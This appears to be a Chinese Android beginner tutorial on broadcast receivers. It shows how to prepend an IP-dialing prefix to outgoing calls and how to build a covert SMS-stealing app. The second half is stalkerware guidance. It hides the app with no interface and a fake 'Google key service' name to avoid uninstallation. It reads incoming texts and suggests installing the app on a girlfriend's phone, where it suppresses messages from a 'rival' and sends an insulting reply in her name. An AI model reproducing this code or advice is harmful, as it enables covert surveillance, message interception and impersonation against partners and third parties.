首页 > 代码库 > 【android基础篇】利用广播接收者实现ip拨号和短信窃取的效果
【android基础篇】利用广播接收者实现ip拨号和短信窃取的效果
I,广播接收者
广播接收者BroadCastReceiver,怎么理解广播接收者?
系统中,有很多特殊的事件,比如sd卡挂载,外拨电话,接收短信等事件。我们只要注册一个广播接收者,相当于买了个收音机,就可以接收到这些特殊事件。
这些事件,当发生时,总会向外发出广播。
II,实现IP拨号
1)
效果:输入一个号码,被当做是ip号码存储起来。等到拨打电话时,加上这个号码,拨打出去。
ip号码,可以存储在sharedPreferences中。最关键的是,需要写一个广播接收者,当发生外拨电话这种事件时,就应该把这个ip电话加上去。
所以我们需要写一个广播接收者。
2)
继承广播接收者,会复写其OnReceive方法,这个方法在监听的广播发生时,就会调用这个方法。
其实写到这里我也很奇怪,我们有那么多的广播,我们靠什么去区分,现实生活中靠的是频段,在安卓中,我们肯定要为广播接收者设置相应的频道。
在清单文件配置相关的信息:
1 <receiver android:name="com.eavesdrop.receiver.SmsReceiver">2 <intent-filter android:priority="1000">3 <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>4 </intent-filter>5 </receiver>
其中"android.intent.action.NEW_OUTGOING_CALL"就相当于外拨电话的频段。
其中priority属性表示的是广播的优先级,关于优先级下面会去说。
3)
当外拨电话时,所以会去调用OnReceive方法,这时我们就可以在方法中获取到外拨电话的内容。并在电话前增加我们从sharedPreferences取出的ip号码。
代码:
1 SharedPreferences sp; 2 public void onReceive(Context context, Intent intent) { 3 /** 4 * 获得广播事件的的内容,也就是外拨电话的号码 5 */ 6 String phone=getResultData(); 7 /** 8 * 获取ip电话 9 */10 sp=context.getSharedPreferences("config",context.MODE_PRIVATE);11 String ipPhone=sp.getString("number", null);12 13 String newPhone=phone+ipPhone;14 /**15 * 发送已经改变的外拨号码16 */17 setResultData(newPhone);18 }
getResultData()和setResultData()方法关于底层其实我什么都看不懂。菜鸟状态。
还有就是对于接收外拨电话的广播,也需要权限android.permission.PROCESS_OUTGOING_CALLS
III,短信窃取
1)
对于短信窃取这个应用,首先不能让它有activity,而且名字必须显得很重要,防止用户卸载。推荐的名字,比如:”谷歌关键服务“。
有了前面的铺垫,这里就轻车熟路了。首先写一个广播接收者,监听短信接收的事件。
1 <receiver android:name="com.eavesdrop.receiver.SmsReceiver">2 <intent-filter android:priority="1000">3 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>4 </intent-filter>5 </receiver>
这里最关键的是怎么拿到短信的?在OnReceive方法中,会接收两个参数:
public void onReceive(Context context, Intent intent),其实短信的数据都被封装到intent中。
1 Object[]objs=(Object[]) intent.getExtras().get("pdus");
intent.getExtras()返回的是Bundle,这个Bundler相当于Map集合,至于后面的get("pdus"),可以把它当做是短信的一种格式,pdus:protocol data units协议数据单元。
intent.getExtras().get("pdus")其实本身返回的是Object,这里把它强转为Object数组。应该是为了方便去遍历数据。
1 for(Object obj:objs){ 2 /** 3 * SmsMessage对象,代表着每条短信的数据的对象 4 */ 5 SmsMessage message=SmsMessage.createFromPdu((byte[])obj); 6 /** 7 * 获取短信的内容和发信人 8 */ 9 String body=message.getMessageBody();10 String address=message.getOriginatingAddress();11 System.out.println(body+""+address);
}
通过SmsMessage.createPdu(byte[]buf)来把数组中的内容转化为每条短信的对象,下面就根据面向对象的思想,把短信的内容和发信人打印出来。
其实对于短信窃取,我们还可以为它添加一个功能:
当我们判断来短信的号码是你情敌的号码(假使这个应用会安装到你女朋友身上),我们可以这样做:
1 if("竞争对手的号码".equals(address)){2 /*3 * 该方法表示直接终止掉当前的广播事件。高优先级的广播接收者如果终止掉广播事件,那么低优先级的广播接收者就接收不到短信了。4 */5 abortBroadcast();6 SmsManager.getDefault().sendTextMessage(address, null, "你去死吧...我不喜欢你..", null, null);7 }
当发现是情敌的号码,可以中断广播,也就是说,情敌发来的短信,用户将收不到。当然前提是,你广播接收者的优先级要设置的比当前用户的高。
中断后,可以替用户发出一条短信-->"你去死吧....我不喜欢你.....".
不过,最近在android4.0之后,强制要求带有广播接收者的应用程序必须有界面,并且运行过一次。
【android基础篇】利用广播接收者实现ip拨号和短信窃取的效果